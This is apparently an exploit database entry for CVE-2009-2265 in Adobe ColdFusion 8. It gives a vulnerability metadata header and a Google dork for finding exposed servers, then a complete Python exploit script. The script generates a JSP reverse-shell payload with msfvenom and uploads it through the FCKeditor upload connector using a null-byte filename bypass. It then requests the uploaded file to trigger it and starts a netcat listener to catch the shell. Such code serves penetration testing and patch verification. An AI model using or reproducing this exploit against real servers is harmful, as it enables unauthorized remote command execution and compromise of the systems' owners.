Adobe ColdFusion 8 Remote Command Execution

2021.06.25
Credit: Pergyz
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Adobe ColdFusion 8 - Remote Command Execution (RCE) # Google Dork: intext:"adobe coldfusion 8" # Date: 24/06/2021 # Exploit Author: Pergyz # Vendor Homepage: https://www.adobe.com/sea/products/coldfusion-family.html # Version: 8 # Tested on: Microsoft Windows Server 2008 R2 Standard # CVE : CVE-2009-2265 #!/usr/bin/python3 from multiprocessing import Process import io import mimetypes import os import urllib.request import uuid class MultiPartForm: def __init__(self): self.files = [] self.boundary = uuid.uuid4().hex.encode('utf-8') return def get_content_type(self): return 'multipart/form-data; boundary={}'.format(self.boundary.decode('utf-8')) def add_file(self, fieldname, filename, fileHandle, mimetype=None): body = fileHandle.read() if mimetype is None: mimetype = (mimetypes.guess_type(filename)[0] or 'application/octet-stream') self.files.append((fieldname, filename, mimetype, body)) return @staticmethod def _attached_file(name, filename): return (f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n').encode('utf-8') @staticmethod def _content_type(ct): return 'Content-Type: {}\r\n'.format(ct).encode('utf-8') def __bytes__(self): buffer = io.BytesIO() boundary = b'--' + self.boundary + b'\r\n' for f_name, filename, f_content_type, body in self.files: buffer.write(boundary) buffer.write(self._attached_file(f_name, filename)) buffer.write(self._content_type(f_content_type)) buffer.write(b'\r\n') buffer.write(body) buffer.write(b'\r\n') buffer.write(b'--' + self.boundary + b'--\r\n') return buffer.getvalue() def execute_payload(): print('\nExecuting the payload...') print(urllib.request.urlopen(f'http://{rhost}:{rport}/userfiles/file/{filename}.jsp').read().decode('utf-8')) def listen_connection(): print('\nListening for connection...') os.system(f'nc -nlvp {lport}') if __name__ == '__main__': # Define some information lhost = '10.10.16.4' lport = 4444 rhost = "10.10.10.11" rport = 8500 filename = uuid.uuid4().hex # Generate a payload that connects back and spawns a command shell print("\nGenerating a payload...") os.system(f'msfvenom -p java/jsp_shell_reverse_tcp LHOST={lhost} LPORT={lport} -o {filename}.jsp') # Encode the form data form = MultiPartForm() form.add_file('newfile', filename + '.txt', fileHandle=open(filename + '.jsp', 'rb')) data = bytes(form) # Create a request request = urllib.request.Request(f'http://{rhost}:{rport}/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/{filename}.jsp%00', data=data) request.add_header('Content-type', form.get_content_type()) request.add_header('Content-length', len(data)) # Print the request print('\nPriting request...') for name, value in request.header_items(): print(f'{name}: {value}') print('\n' + request.data.decode('utf-8')) # Send the request and print the response print('\nSending request and printing response...') print(urllib.request.urlopen(request).read().decode('utf-8')) # Print some information print('\nPrinting some information for debugging...') print(f'lhost: {lhost}') print(f'lport: {lport}') print(f'rhost: {rhost}') print(f'rport: {rport}') print(f'payload: {filename}.jsp') # Delete the payload print("\nDeleting the payload...") os.system(f'rm {filename}.jsp') # Listen for connections and execute the payload p1 = Process(target=listen_connection) p1.start() p2 = Process(target=execute_payload) p2.start() p1.join() p2.join()


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